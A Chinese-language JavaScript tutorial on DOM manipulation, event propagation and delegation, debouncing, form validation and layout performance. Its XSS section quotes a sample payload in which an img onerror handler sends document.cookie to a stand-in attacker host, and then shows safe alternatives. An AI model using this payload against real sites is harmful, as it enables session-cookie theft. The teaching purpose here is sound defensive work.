JavaScript-05-DOM与事件
这篇讲什么
HTML 是「静态的骨架」,DOM(Document Object Model,文档对象模型) 是浏览器把这份骨架解析成的一棵可编程的对象树。
JS 通过操作这棵树来改变页面,通过事件来响应用户。本篇讲清三件事:
① 怎么找到并修改节点;② 事件是怎么传播的、为什么事件委托是最重要的技巧;
③ 为什么频繁操作 DOM 会卡,以及怎么写才不卡。读完你应该能独立写出一个「动态列表 + 增删改查 + 表单校验」的完整页面逻辑。
一、是什么
DOM 是一套「用对象描述文档」的接口,它由 W3C/WHATWG 标准化,与语言无关——
理论上 Java、Python 也能操作 DOM,只是浏览器里只有 JavaScript 这一种绑定可用。
浏览器解析 HTML 后,会建立一棵节点树(Node Tree)。以这段 HTML 为例:
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<title>示例</title>
</head>
<body>
<h1 id="title">你好</h1>
<ul class="list">
<li>第一项</li>
<li>第二项</li>
</ul>
</body>
</html>
对应的树结构:
graph TD
D["document(Document 节点)"] --> H["html(Element)"]
H --> HEAD["head(Element)"]
H --> BODY["body(Element)"]
HEAD --> T["title(Element)"]
T --> TT["'示例'(Text)"]
BODY --> H1["h1#title(Element)"]
H1 --> H1T["'你好'(Text)"]
BODY --> UL["ul.list(Element)"]
UL --> LI1["li(Element)"]
UL --> LI2["li(Element)"]
LI1 --> T1["'第一项'(Text)"]
LI2 --> T2["'第二项'(Text)"]
节点类型(Node Type)
树上的每一个「点」都是一个节点,用 nodeType 区分种类:
| nodeType | 常量 | 说明 | 例子 |
|---|---|---|---|
| 1 | ELEMENT_NODE | 元素节点,HTML 标签 | <div>、<li> |
| 3 | TEXT_NODE | 文本节点,标签之间的文字 | 你好 |
| 8 | COMMENT_NODE | 注释节点 | <!-- 说明 --> |
| 9 | DOCUMENT_NODE | 整个文档的根对象 | document |
| 11 | DOCUMENT_FRAGMENT_NODE | 文档片段,不在树上的轻量容器 | document.createDocumentFragment() |
最常踩的坑就藏在这张表里
「元素之间的空白与换行」也是文本节点。
上面那段缩进良好的 HTML 里,
<ul>的childNodes实际是
[Text("\n "), li, Text("\n "), li, Text("\n ")]—— 5 个节点,而不是 2 个。所以遍历子节点几乎总是应该用
children(只含元素)而不是childNodes(含所有节点)。
二、为什么这样设计
为什么不让 JS 直接操作 HTML 字符串? 假设页面是一段字符串,
每次改一个按钮的文字都要「拼接字符串 → 重新解析整段 HTML」,代价高得不可接受。
把文档变成对象树之后,修改就是「改一个对象的属性」,浏览器只需重算受影响的子树。
事件为什么要「冒泡」? 2000 年前后 IE 与 Netscape 有两套互不兼容的事件模型
(冒泡 vs 捕获),W3C 在 DOM Level 2 中把两者都保留,形成今天的三阶段模型。
统一之后带来一个巨大的收益:父元素可以代替所有子元素处理事件——
这就是事件委托,也是现代前端框架(前端-06-Vue、前端-07-React)事件系统的基石。
为什么 DOM 操作「慢」? 慢的从来不是 JS 读写属性本身,而是它触发的浏览器重新计算:
- 重排(Reflow / Layout):几何信息变了(宽高、位置、显隐),浏览器必须重新计算布局;
- 重绘(Repaint):只变了颜色、背景,不需要重新布局,但需要重新画。
重排比重绘昂贵得多,而且一次重排可能连累整个子树甚至整页。
理解这一点,才能理解本篇最后一节的所有性能建议。更完整的渲染流程见 前端-04-浏览器与HTTP。
三、核心内容
3.1 查询元素:四种方法对比
| 方法 | 返回值 | 集合是静态还是动态 | 匹配方式 | 找不到时 | 性能 |
|---|---|---|---|---|---|
getElementById(id) | 单个 Element | — | 按 id 精确匹配 | null | 最快(浏览器内部有索引) |
getElementsByClassName(names) | HTMLCollection | 动态(Live) | 按 class 名,多个用空格分隔 | 空集合(length === 0) | 快 |
getElementsByTagName(name) | HTMLCollection | 动态(Live) | 按标签名,'*' 表示全部 | 空集合 | 快 |
querySelector(sel) | 单个 Element 或 null | — | 任意 CSS 选择器 | null | 需解析选择器 |
querySelectorAll(sel) | NodeList | 静态(Static) | 任意 CSS 选择器 | 空 NodeList | 需解析选择器 |
「动态集合」是新手最容易翻车的地方
getElementsByClassName返回的是一个活的视图:DOM 一变,它立刻跟着变。下面这段代码是经典的死循环(千万别在页面里试):
```js
// ❌ 反面示例,运行环境:浏览器页面 —— 会卡死页面
const items = document.getElementsByClassName('item'); // Live 集合
for (let i = 0; i < items.length; i++) {
const clone = items[i].cloneNode(true);
items[i].parentNode.appendChild(clone); // DOM 一变,items 立刻变长 → 永远循环不完
}
```
正确写法:用
querySelectorAll(静态快照),或者先把动态集合转成数组:```js
// ✅ 运行环境:浏览器页面
const items = [...document.getElementsByClassName('item')]; // 快照,后续 DOM 变化不影响它
items.forEach((el) => el.parentNode.appendChild(el.cloneNode(true)));
```
另一处差别:querySelectorAll 返回的 NodeList 有 forEach,但仍然不是数组,
没有 map / filter / reduce。而 getElementsByClassName 返回的 HTMLCollection 连 forEach 都没有
(它只有 length、item()、namedItem(),属于「类数组对象」)。
需要数组方法时一律先转换:
// 运行环境:浏览器 DevTools 控制台
const nodeList = document.querySelectorAll('li');
const htmlCollection = document.getElementsByClassName('item');
nodeList.forEach((el) => console.log(el)); // ✅ NodeList 可以直接 forEach
// htmlCollection.forEach(...) // ❌ TypeError: not a function
Array.prototype.forEach.call(htmlCollection, (el) => console.log(el)); // ✅ 借用数组方法
console.log([...nodeList].map((el) => el.textContent)); // ✅ 转成真数组
// 运行环境:任意浏览器 DevTools 控制台(在任意页面上执行)
// 三个「等价但不等价」的常见查询
const byId = document.getElementById('title'); // 单个元素或 null
const firstLi = document.querySelector('ul.list > li'); // 选择器命中「第一个」
const allLi = document.querySelectorAll('ul.list > li'); // 全部命中,静态 NodeList
console.log(allLi.length, allLi instanceof NodeList); // 2 true
console.log(Array.isArray(allLi)); // false —— 不是数组
console.log([...allLi].map((el) => el.textContent)); // [ '第一项', '第二项' ]
// 静态 / 动态的关键区别:往 DOM 里加一个 li 再看
document.querySelector('ul').append(document.createElement('li'));
console.log(allLi.length); // 仍是 2(静态快照)
console.log(document.getElementsByTagName('li').length); // 变成 3(动态集合)
3.2 节点遍历与属性操作
| 想做什么 | 属性 / 方法 | 注意 |
|---|---|---|
| 父节点 | node.parentNode / parentElement | parentElement 保证是元素,parentNode 可能是 document |
| 子节点(含文本) | node.childNodes | 包含空白文本节点 |
| 子元素(推荐) | node.children | 只有元素节点 |
| 第一个子元素 | node.firstElementChild | 对比 firstChild(可能是空白文本) |
| 最后一个子元素 | node.lastElementChild | 对比 lastChild |
| 前一个兄弟元素 | node.previousElementSibling | 对比 previousSibling |
| 后一个兄弟元素 | node.nextElementSibling | 对比 nextSibling |
| 属性读写 | el.getAttribute(name) / el.setAttribute(name, value) | 读写 HTML 属性(字符串) |
| 属性删除/判断 | el.removeAttribute(name) / el.hasAttribute(name) | |
| 作为对象的属性 | el.id、el.className、el.href | 读写 DOM 属性,类型可能不是字符串 |
| 全部属性 | el.attributes | 一个 NamedNodeMap,可遍历 |
attribute与property不是一回事
getAttribute('href')返回写在 HTML 里的原始字符串;
el.href返回浏览器解析后的绝对 URL。同理
<input value="abc">的getAttribute('value')永远是abc,而
input.value会随用户输入变化。表单场景一定要用.value属性。
3.3 创建与插入元素
| 方法 | 作用 | 重要细节 |
|---|---|---|
document.createElement(tag) | 创建元素 | 创建后还没进 DOM,不会被渲染 |
document.createTextNode(text) | 创建文本节点 | 一般用 textContent 代替即可 |
document.createDocumentFragment() | 创建文档片段 | 不在树上的容器,插入时浏览器会用它的全部子节点替换它自身(见下方说明) |
parent.append(...nodesOrStrings) | 在末尾插入,可传多个、可传字符串 | 字符串会被自动转成文本节点(安全,不会解析 HTML) |
parent.prepend(...) | 在开头插入 | 同上 |
child.before(...) / child.after(...) | 在自己前面/后面插入 | 插到兄弟位置,比 insertBefore 好记 |
el.replaceWith(...) | 替换自身 | |
el.remove() | 删除自身 | 等价于 el.parentNode.removeChild(el) |
parent.insertBefore(newNode, refNode) | 老 API,在参考节点前插入 | 兼容性最好 |
parent.insertAdjacentHTML(pos, html) | 把 HTML 字符串解析后插入 | pos:'beforebegin' / 'afterbegin' / 'beforeend' / 'afterend';有 XSS 风险 |
el.cloneNode(true) | 深克隆(含子孙) | false 只克隆自身,事件监听器不会被复制 |
// 运行环境:浏览器页面(写在 <script> 里)或 DevTools 控制台
// 用 DocumentFragment 组织 1000 个 <li>,最后一次性挂到树上
const ul = document.querySelector('ul');
const fragment = document.createDocumentFragment();
for (let i = 1; i <= 1000; i++) {
const li = document.createElement('li');
li.textContent = `第 ${i} 项`; // 用 textContent 而不是 innerHTML,天然防 XSS
li.dataset.index = String(i); // 写入 data-index 属性,供事件委托读取
fragment.append(li); // 先放进「不在树上」的片段
}
ul.append(fragment); // 挂载点:片段本身不会被插入,它会被自己的子节点替换
console.log(ul.children.length); // 1000 —— 子节点全部就位
DocumentFragment到底优化了什么MDN 的说明是:文档片段从不属于主 DOM 树;把它插入树时,片段会被它的全部子节点替换。
因此它的确定收益是把 1000 次 DOM 变更合并成 1 次——这对避免
「写—读—写—读」交替引发的布局抖动至关重要(见 3.11)。
至于「不用片段就一定会重排 1000 次」的说法则不准确:现代浏览器本身就会把同一任务内的
多次变更合并到下一帧统一计算,MDN 也注明片段的性能收益主要体现在较老的引擎上。
稳妥的理解是:片段让「变更次数」这件事由你显式控制,而不是依赖浏览器的批量优化。
3.4 修改内容与属性
textContent vs innerHTML
| 对比项 | textContent | innerHTML |
|---|---|---|
| 语义 | 纯文本,标签会被当字面量显示 | 解析为 HTML 后创建真实元素 |
| 安全性 | 安全 | 有 XSS 风险(见下) |
| 性能 | 快(无解析) | 慢(需要解析 + 构建子树) |
| 读取时 | 返回所有后代文本(含 <script> 里的文字) | 返回序列化后的 HTML |
| 保留原有事件监听 | — | 重设 innerHTML 会销毁原有子节点,监听器一并丢失 |
XSS 风险:为什么不能把用户输入塞进 innerHTML
XSS(Cross-Site Scripting,跨站脚本攻击) 的原理很简单:
浏览器会执行插入到页面里的脚本。如果插入的内容来自用户,攻击者就能在你的页面上执行任意代码。
// ❌ 危险!运行环境:浏览器页面
const userInput = '<img src=x onerror="fetch(\'https://evil.example/steal?c=\'+document.cookie)">';
document.querySelector('#comment').innerHTML = userInput;
// 图片加载失败 → onerror 执行 → 你的 Cookie 被发到攻击者服务器
// 注意:现代浏览器插入的 <script> 标签不会执行,但 onerror / onload 等事件属性照样会执行
正确做法:
// ✅ 安全写法一:用 textContent,浏览器只当纯文本处理
document.querySelector('#comment').textContent = userInput;
// 页面上会原样显示 <img src=x ...> 这串文字,不会创建任何元素
// ✅ 安全写法二:必须渲染 HTML 时,用成熟库做净化(如 DOMPurify)
// import DOMPurify from 'dompurify';
// document.querySelector('#comment').innerHTML = DOMPurify.sanitize(userInput);
// ✅ 安全写法三:用 createElement + textContent 逐个构建
const img = document.createElement('img');
img.src = 'https://example.com/avatar.png';
const p = document.createElement('p');
p.textContent = userInput; // 用户内容走文本通道
document.querySelector('#comment').append(p, img);
安全红线
只要数据来自用户、URL 参数、接口响应、第三方,就绝不能直接拼进
innerHTML/insertAdjacentHTML/outerHTML。这一条同样适用于 Vue 的
v-html与 React 的dangerouslySetInnerHTML——名字里的 "dangerously" 就是警告。更系统的安全话题见 后端-09-后端安全与性能。
dataset、classList、style
// 运行环境:浏览器页面 / DevTools 控制台
const card = document.querySelector('.card');
// —— dataset:读写 data-* 自定义属性 ——
// HTML 里写 <div class="card" data-user-id="42" data-role-name="admin">
console.log(card.dataset.userId); // "42" —— 连字符自动转小驼峰
console.log(card.dataset.roleName); // "admin"
card.dataset.status = 'active'; // 写回 HTML:data-status="active"
console.log(card.getAttribute('data-status')); // "active"
// —— classList:比 className 安全得多 ——
card.classList.add('highlight', 'pinned');
card.classList.remove('pinned');
card.classList.toggle('dark'); // 有就删,没有就加
card.classList.toggle('dark', false); // 第二个参数强制指定:false 表示确保移除
console.log(card.classList.contains('dark')); // false
// 对比:card.className = 'x' 会把所有已有 class 覆盖掉,容易误伤
// —— style:行内样式,属性名用小驼峰 ——
card.style.backgroundColor = '#eef'; // 注意是 backgroundColor 不是 background-color
card.style.setProperty('--brand-color', '#3b82f6'); // 自定义属性要用 setProperty
card.style.cssText = 'color: red; padding: 8px'; // 一次性写入(会覆盖全部行内样式)
// 读取「计算后」的样式(含 CSS 文件里定义的规则)
console.log(getComputedStyle(card).fontSize); // 例如 "16px"
改样式时优先「切换 class」,而不是逐个改
style
el.style.x = ...写的是行内样式,优先级很高,后期想用 CSS 覆盖会很别扭;而且逐个赋值会多次触碰样式系统。
更好的做法:在 CSS 里定义
.card--active { ... },JS 只负责classList.add('card--active')。这样样式与逻辑分离,也更容易做主题切换。CSS 的层叠与优先级见 前端-02-CSS基础。
3.5 事件模型
三阶段:捕获 → 目标 → 冒泡
一次点击的传播路径:
flowchart TD
W["window"] -->|捕获阶段<br/>capture: true| D["document"]
D --> B["body"]
B --> UL["ul(祖先)"]
UL --> LI["li(event.target 真正被点的元素)"]
LI -->|目标阶段| LI
LI -.->|冒泡阶段<br/>默认| UL2["ul"]
UL2 -.-> B2["body"]
B2 -.-> D2["document"]
D2 -.-> W2["window / document"]
- 捕获阶段(Capture):从
window向下走到目标元素的父级; - 目标阶段(Target):事件到达
event.target本身; - 冒泡阶段(Bubble):从目标元素向上传回
window。
addEventListener(type, listener, options) 的第三个参数决定监听器在哪个阶段触发:
| 写法 | 触发阶段 |
|---|---|
addEventListener('click', fn) | 冒泡阶段(默认) |
addEventListener('click', fn, true) | 捕获阶段(布尔值等价于 { capture: true }) |
addEventListener('click', fn, { capture: true }) | 捕获阶段 |
addEventListener('click', fn, { once: true }) | 触发一次后自动移除 |
addEventListener('click', fn, { passive: true }) | 承诺不调用 preventDefault,滚动更流畅 |
addEventListener('click', fn, { signal }) | 用 AbortController 统一移除监听器 |
// 运行环境:浏览器页面(写在 <script> 里),点击 ul 里的 li 观察顺序
const ul = document.querySelector('ul');
const li = document.querySelector('ul > li');
window.addEventListener('click', () => console.log('1 window 捕获'), { capture: true });
ul.addEventListener('click', () => console.log('2 ul 捕获'), { capture: true });
ul.addEventListener('click', () => console.log('3 ul 冒泡')); // 默认冒泡
li.addEventListener('click', () => console.log('4 li(目标)'));
document.addEventListener('click', () => console.log('5 document 冒泡'));
// 点击 li 时的输出:
// 1 window 捕获 → 2 ul 捕获 → 4 li(目标)→ 3 ul 冒泡 → 5 document 冒泡
第三个参数的历史包袱
老浏览器只支持布尔值
useCapture。所以addEventListener('click', fn, true)是合法的,表示「捕获」。不要误以为它开启了什么「是否触发」的开关——传
false和什么都不传完全等价。
preventDefault vs stopPropagation
这两个方法经常被混为一谈,但它们解决的是完全不同的问题:
| 对比项 | preventDefault() | stopPropagation() |
|---|---|---|
| 作用对象 | 浏览器对该事件的默认行为 | 事件的传播过程 |
| 效果 | 阻止默认行为(链接跳转、表单提交、右键菜单…) | 阻止事件继续传给祖先(或后代,捕获阶段) |
| 对其他监听器的影响 | 同元素上的其他监听器照样执行 | 同元素上的其他监听器照样执行(只影响其他节点) |
| 判断是否被调用 | event.defaultPrevented 为 true | 无对应属性 |
| 能否取消 | 只有 cancelable: true 的事件可被取消 | 总是有效 |
// 运行环境:浏览器页面
const link = document.querySelector('a.prevent-me');
link.addEventListener('click', (e) => {
e.preventDefault(); // 阻止跳转
console.log('默认行为被阻止,地址栏不会变');
e.stopPropagation(); // 同时阻止冒泡到父元素
console.log('父元素的 click 处理函数不会执行');
});
// 用 defaultPrevented 判断「是否已经有别的监听器调用过 preventDefault」
document.addEventListener('click', (e) => {
if (e.defaultPrevented) console.log('某个祖先/同级的监听器已经取消了默认行为');
});
stopPropagation要慎用它会静默破坏事件委托:父元素上的委托监听器收不到这个事件,bug 极难定位。
大多数时候你真正想要的是
preventDefault。确实需要「只让当前元素处理」时可以用它,但要在代码里写清注释。
另外还有个
stopImmediatePropagation(),它会连同同元素上后面注册的监听器一起阻止——更要少用。
event.target vs event.currentTarget
| 属性 | 含义 | 特点 |
|---|---|---|
event.target | 实际触发事件的那个元素 | 整个传播过程中保持不变 |
event.currentTarget | 当前正在执行监听器的那个元素 | 随传播过程而变化;等于监听器绑定的元素 |
this(非箭头函数) | 等于 event.currentTarget | 箭头函数没有自己的 this |
// 运行环境:浏览器页面,点击任意一个 li
document.querySelector('ul').addEventListener('click', function (e) {
console.log(e.target.tagName); // 被点中的那个元素:LI(也可能更深,如 <span>)
console.log(e.currentTarget.tagName); // 绑定监听器的元素:UL(始终不变)
console.log(this === e.currentTarget); // true —— 普通函数的 this 指向绑定元素
});
用箭头函数时拿不到
event.currentTarget的旧写法如果用
function写监听器,this就是绑定元素;用箭头函数时this继承外层(通常是undefined或window)。统一用
event.currentTarget更安全,不受函数写法影响。this的完整规则见 JavaScript-02-函数与作用域。
3.6 事件委托(Event Delegation)
原理:利用冒泡,把监听器挂在共同的祖先上,在回调里用 event.target 判断「是谁触发的」,
再分派到对应处理逻辑。这个模式也叫「事件代理」。
三大优势:
- 内存与初始化成本低:1000 行数据只需 1 个监听器,而不是 1000 个;
- 动态元素自动生效:后来新增的子元素无需重新绑定(这是最实用的好处);
- 元素增删不会造成监听器泄漏:监听器不在子元素上,删掉子元素不会留下悬空引用。
<!-- 运行环境:浏览器页面。完整的「动态列表」示例:一个 HTML 文件即可运行 -->
<!DOCTYPE html>
<html lang="zh-CN">
<head><meta charset="utf-8"><title>事件委托示例</title></head>
<body>
<ul id="todo"></ul>
<button id="add">添加一条</button>
<p>当前条数:<span id="count">0</span></p>
<script>
const list = document.querySelector('#todo');
const countEl = document.querySelector('#count');
let seq = 0;
function addItem() {
const li = document.createElement('li');
li.dataset.id = String(++seq); // 用 data-* 携带业务 id
// 用 createElement 构建,避免把用户内容拼进 innerHTML
const span = document.createElement('span');
span.textContent = `事项 ${seq}`;
const del = document.createElement('button');
del.textContent = '删除';
del.className = 'del'; // 用 class 标识「哪个子元素有特殊行为」
li.append(span, del);
list.append(li);
countEl.textContent = String(list.children.length);
}
// ✅ 只在这一个祖先上绑定一次,之后新增的 li 自动可用
list.addEventListener('click', (event) => {
const btn = event.target.closest('.del'); // 向上找最近的 .del 祖先(含自身)
if (!btn) return; // 点的不是删除按钮 → 直接忽略
const li = btn.closest('li'); // 找到所属的行
console.log('要删除的 id:', li.dataset.id);
li.remove();
countEl.textContent = String(list.children.length);
});
document.querySelector('#add').addEventListener('click', addItem);
addItem(); // 先放一条,方便测试
</script>
</body>
</html>
closest()是事件委托的最佳搭档
event.target可能是按钮内部的<span>或文本节点,直接比较event.target === btn会漏判。
event.target.closest('.del')会从自身开始向上找最近的匹配祖先(找不到返回null),所以无论点中按钮还是按钮里的图标,都能正确定位。这比手写
while循环向上遍历清晰得多。
事件委托不适用于这些情况
-
focus/blur不冒泡:要委托请改用会冒泡的focusin/focusout;-
mouseenter/mouseleave不冒泡:可改用mouseover/mouseout(它们会冒泡,但要自己处理子元素进出);- 需要阻止冒泡的组件:若子组件内部调用了
stopPropagation,委托链就断了;-
<video>/<audio>的媒体事件等不冒泡的事件。
3.7 常用事件类型
| 分类 | 事件 | 触发时机 / 关键属性 |
|---|---|---|
| 鼠标 | click | 完整点击(按下 + 抬起) |
dblclick | 双击 | |
mousedown / mouseup | 按下 / 抬起 | |
mousemove | 移动(触发极频繁,必须节流) | |
mouseenter / mouseleave | 进入 / 离开(不冒泡,不受子元素影响) | |
mouseover / mouseout | 进入 / 离开(冒泡,子元素间移动也会触发,常配合 relatedTarget 判断) | |
contextmenu | 右键菜单(阻止它可自定义右键菜单) | |
| 键盘 | keydown / keyup | 按下 / 抬起;判断按键用 event.key(如 'Enter'),不要用已废弃的 keyCode |
keypress | 已废弃,不要在新代码中使用 | |
| 表单 | input | 每次值变化立刻触发(含粘贴、拖入),做实时校验用这个 |
change | 值变化且元素失去焦点后触发(<select> 是选完立刻) | |
submit | 表单提交(必须 preventDefault 才能用 AJAX 提交) | |
reset | 表单重置 | |
focus / blur | 获得 / 失去焦点(不冒泡) | |
focusin / focusout | 同上,但会冒泡(可委托) | |
| 滚动 / 尺寸 | scroll | 滚动(在 window 或可滚动元素上;触发频繁,需节流) |
resize | 视口尺寸变化(需节流) | |
| 触摸 / 指针 | touchstart / touchmove / touchend | 触摸屏;event.touches 是TouchList,不是数组 |
pointerdown / pointermove / pointerup | 统一鼠标/触摸/触控笔,新代码优先用它 | |
| 文档生命周期 | DOMContentLoaded | HTML 解析完成(见 3.10) |
load | 所有资源(图片、样式、子框架)加载完成 | |
| 动画 / 过渡 | transitionend / animationend | 过渡 / 动画结束 |
键盘快捷键的判断要兼顾
event.key与组合键```js
// 运行环境:浏览器页面
document.addEventListener('keydown', (e) => {
if ((e.ctrlKey || e.metaKey) && e.key === 's') { // metaKey 兼容 macOS 的 Cmd
e.preventDefault(); // 阻止浏览器「保存网页」
console.log('自定义保存逻辑');
}
});
```
event.key会随大小写与输入法变化(按 Shift 时是'S'),需要「物理按键」语义时用
event.code(如'KeyS')。
3.8 防抖与节流
两者都是降低高频事件回调执行次数的手段,但语义不同:
| 对比项 | 防抖(Debounce) | 节流(Throttle) |
|---|---|---|
| 核心思想 | 事件停止触发 wait 毫秒后才执行一次 | 每 wait 毫秒最多执行一次 |
| 执行时机 | 「安静下来」之后 | 固定频率 |
| 是否可能一直不执行 | 会(持续触发就一直不执行) | 不会(只要持续触发,就保证有节奏地执行) |
| 适用场景 | 搜索框联想、表单实时校验、窗口 resize 后重算布局 | 滚动加载、mousemove 拖拽、滚动进度条、按钮防连点 |
| 用户感受 | 「我打完字再出结果」 | 「一边滚动一边更新」 |
// 运行环境:浏览器页面
/**
* 防抖:最后一次调用后等待 wait 毫秒才真正执行。
* @param {Function} fn 需要执行的函数
* @param {number} wait 等待毫秒数
* @param {boolean} immediate 为 true 时首次调用立刻执行(如「按钮防连点」)
*/
function debounce(fn, wait = 300, immediate = false) {
let timerId = null;
return function (...args) {
if (timerId !== null) clearTimeout(timerId); // 重新计时
if (immediate && timerId === null) {
fn.apply(this, args); // 立即执行一次
}
timerId = setTimeout(() => {
timerId = null; // 关键:复位,否则 immediate 只会生效一次
if (!immediate) fn.apply(this, args);
}, wait);
};
}
/**
* 节流:每 wait 毫秒最多执行一次,保证「有节奏」地响应。
* @param {Function} fn 需要执行的函数
* @param {number} wait 时间窗口毫秒数
* @param {{ leading?: boolean, trailing?: boolean }} options
* leading:窗口开始时先执行一次;trailing:窗口结束时补执行一次
*/
function throttle(fn, wait = 200, { leading = true, trailing = true } = {}) {
let lastTime = 0;
let timerId = null;
return function (...args) {
const now = Date.now();
// 首次调用且不要 leading,就把基准时间设为现在,避免立刻执行
if (lastTime === 0 && !leading) lastTime = now;
const remaining = wait - (now - lastTime);
if (remaining <= 0) {
if (timerId !== null) { clearTimeout(timerId); timerId = null; }
lastTime = now;
fn.apply(this, args); // 距上次执行已超过 wait → 立刻执行
} else if (trailing && timerId === null) {
timerId = setTimeout(() => {
lastTime = leading ? Date.now() : 0; // 不 leading 时把基准清零,恢复初始语义
timerId = null;
fn.apply(this, args); // 窗口末尾补一次,保证「最后一次不丢」
}, remaining);
}
};
}
// —— 实际用法 ——
const onSearch = debounce((kw) => console.log('发起搜索:', kw), 400);
document.querySelector('#search').addEventListener('input', (e) => onSearch(e.target.value));
const onScroll = throttle(() => console.log('更新滚动进度', window.scrollY), 200);
window.addEventListener('scroll', onScroll, { passive: true }); // passive 提升滚动流畅度
什么时候可以直接用
passive: true
scroll、touchmove、wheel这类事件,如果监听器里不会调用preventDefault,就加上
{ passive: true }。浏览器因此不必等回调执行完就能开始滚动,滚动流畅度明显提升。这也是 Chrome 对
touchstart/touchmove默认使用 passive 的原因。
3.9 生命周期:DOMContentLoaded 与 load
| 对比项 | DOMContentLoaded | load |
|---|---|---|
| 触发时机 | HTML 解析完成,DOM 树构建完毕 | 页面所有资源(图片、CSS、字体、iframe)加载完成 |
在 document 上还是 window 上 | document | window |
| 能否拿到 DOM | 能(这就是它存在的意义) | 能 |
| 能否知道图片尺寸 | 不能(图片可能还没下载) | 能 |
| 触发次数 | 一次 | 一次 |
| 典型用途 | 初始化脚本、绑定事件、首次渲染 | 埋点统计、隐藏 loading 遮罩、图片尺寸相关计算 |
// 运行环境:浏览器页面(写在 <head> 里的脚本,或需要等 DOM 就绪的代码)
document.addEventListener('DOMContentLoaded', () => {
console.log('DOM 已就绪,可以安全查询元素了');
document.querySelector('#app').textContent = '已初始化';
});
window.addEventListener('load', () => {
console.log('所有资源(含图片)加载完成');
const img = document.querySelector('img');
console.log('此时才拿得到真实尺寸:', img.naturalWidth, img.naturalHeight);
});
脚本放在哪里,行为完全不同
-
<script>放在<body>末尾:解析到它时 DOM 已就绪,不需要DOMContentLoaded。-
<script>放在<head>:此时<body>还不存在,querySelector会返回null——必须用
DOMContentLoaded包裹,或者加上defer属性。-
<script defer>:下载不阻塞解析,在 DOMContentLoaded 之前按顺序执行(推荐)。-
<script async>:下载不阻塞解析,下载完立刻执行,执行顺序不确定,适合独立统计脚本。只有
<script src>(无 defer/async)会阻塞 HTML 解析,这是「脚本放末尾」这条老经验的全部原因。
3.10 表单操作与校验
<!-- 运行环境:浏览器页面。完整的表单校验示例 -->
<!DOCTYPE html>
<html lang="zh-CN">
<head><meta charset="utf-8"><title>表单校验</title></head>
<body>
<form id="signup" novalidate>
<p>
<label for="email">邮箱</label>
<input id="email" name="email" type="email" required
minlength="6" placeholder="you@example.com">
</p>
<p>
<label for="age">年龄</label>
<input id="age" name="age" type="number" min="18" max="120" required>
</p>
<button type="submit">注册</button>
</form>
<pre id="out"></pre>
<script>
const form = document.querySelector('#signup');
const out = document.querySelector('#out');
// 实时校验:用 input 事件(每次值变化都触发),而不是 change(失焦才触发)
form.addEventListener('input', (e) => {
const field = e.target;
if (!(field instanceof HTMLInputElement)) return;
// validity 是浏览器给出的「约束校验 API」结果
const { validity } = field;
let msg = '';
if (validity.valueMissing) msg = '此项必填';
else if (validity.typeMismatch) msg = '格式不正确(例如邮箱缺少 @)';
else if (validity.tooShort) msg = `至少 ${field.minLength} 个字符`;
else if (validity.rangeUnderflow) msg = `不能小于 ${field.min}`;
else if (validity.rangeOverflow) msg = `不能大于 ${field.max}`;
field.setCustomValidity(msg); // 设置自定义错误信息;传 '' 表示清除
field.reportValidity(); // 立刻显示浏览器的提示气泡
});
form.addEventListener('submit', async (event) => {
event.preventDefault(); // 阻止默认提交(否则页面会刷新)
// checkValidity() 会触发所有字段的校验,返回整体是否通过
if (!form.checkValidity()) {
form.reportValidity(); // 把第一个不合格的字段高亮出来
return;
}
// FormData:一次性收集所有带 name 的字段,是表单取值最省事的方式
const fd = new FormData(form);
console.log('普通字段:', Object.fromEntries(fd)); // { email: '...', age: '...' }
console.log('按名字取单个值:', fd.get('email'));
console.log('遍历所有键值对:');
for (const [key, value] of fd) console.log(' ', key, '=', value);
// 有文件时可以直接把 FormData 交给 fetch,浏览器会自动设置 multipart 边界
// await fetch('/api/signup', { method: 'POST', body: fd });
out.textContent = '校验通过,准备提交:\n' + JSON.stringify(Object.fromEntries(fd), null, 2);
});
</script>
</body>
</html>
关键 API 对照:
| API | 作用 | 注意 |
|---|---|---|
field.value | 读取当前值(永远是字符串) | 数字要用 Number(...) 或 valueAsNumber 转换 |
field.checked | 复选框 / 单选框是否选中 | 不叫 value |
field.validity | ValidityState 对象,各约束的布尔标志 | 见上面示例的字段名 |
field.checkValidity() | 校验单个字段,返回布尔值 | 会触发 invalid 事件 |
field.reportValidity() | 校验并显示浏览器提示 | 用于「点提交时才提示」 |
field.setCustomValidity(msg) | 设置自定义错误;传 '' 清除 | 忘记清除会导致表单永远提交不了 |
form.checkValidity() | 校验整个表单 | 用于提交前统一把关 |
form.reportValidity() | 校验整表并高亮第一个错误 | |
new FormData(form) | 收集所有带 name 的控件 | 没有 name 的字段不会被收集 |
form.reset() | 重置为初始值 | 会触发 reset 事件 |
novalidate与setCustomValidity的两个坑1. 示例里给
<form>加了novalidate,关掉浏览器默认的提交时校验,改由脚本控制提示时机。如果你想要「零 JS 也能校验」,就不要加
novalidate,直接依赖required/type/pattern等属性——这是最省事、可访问性最好的做法。
2.
setCustomValidity('错误信息')一旦设置,该字段就永久处于 invalid 状态,必须在数据变合法时调用
setCustomValidity('')清除,否则用户永远提交不了表单。
3.11 操作 DOM 的性能注意事项
为什么频繁操作 DOM 会卡
每次修改都可能触发重排(Reflow) 或 重绘(Repaint)。更糟的是布局抖动(Layout Thrashing,又叫强制同步布局):
在「写 → 读 → 写 → 读」的交替中,浏览器被迫在每次读取前立刻同步执行一次布局计算,
把原本可以批量合并的工作拆成了 N 次。
// ❌ 布局抖动:每次循环都「读一次布局 → 写一次样式」
// 运行环境:浏览器页面
const boxes = document.querySelectorAll('.box');
for (const box of boxes) {
box.style.width = box.offsetWidth + 10 + 'px'; // 读 offsetWidth 强制立即重排,接着又改样式
}
// ✅ 批量读、批量写:先读完所有值,再统一修改
const widths = [...boxes].map((box) => box.offsetWidth); // 阶段一:只读
boxes.forEach((box, i) => { // 阶段二:只写
box.style.width = widths[i] + 10 + 'px';
});
// 读与写各只触发一次布局计算
让脚本「读写分离」是性能优化的第一原则
offsetWidth / offsetHeight / offsetTop / scrollTop / clientWidth /
getComputedStyle() / getBoundingClientRect() 都是会强制同步布局的「读」操作。
一旦你在写样式之后立刻读它们,就会触发一次完整的布局计算。
其他实用手段
| 手段 | 说明 |
|---|---|
批量修改:先 display: none 再改再恢复 | 元素不在渲染树中时修改不会触发重排(代价是元素会闪烁一次) |
DocumentFragment | 把大量节点变更合并成一次挂载,显式控制「变更次数」 |
cloneNode + 离线修改 | 在「不在树上」的副本上做复杂改动,最后一次性替换 |
用 classList 代替逐条 style | 减少触碰样式系统的次数,也让样式逻辑回到 CSS |
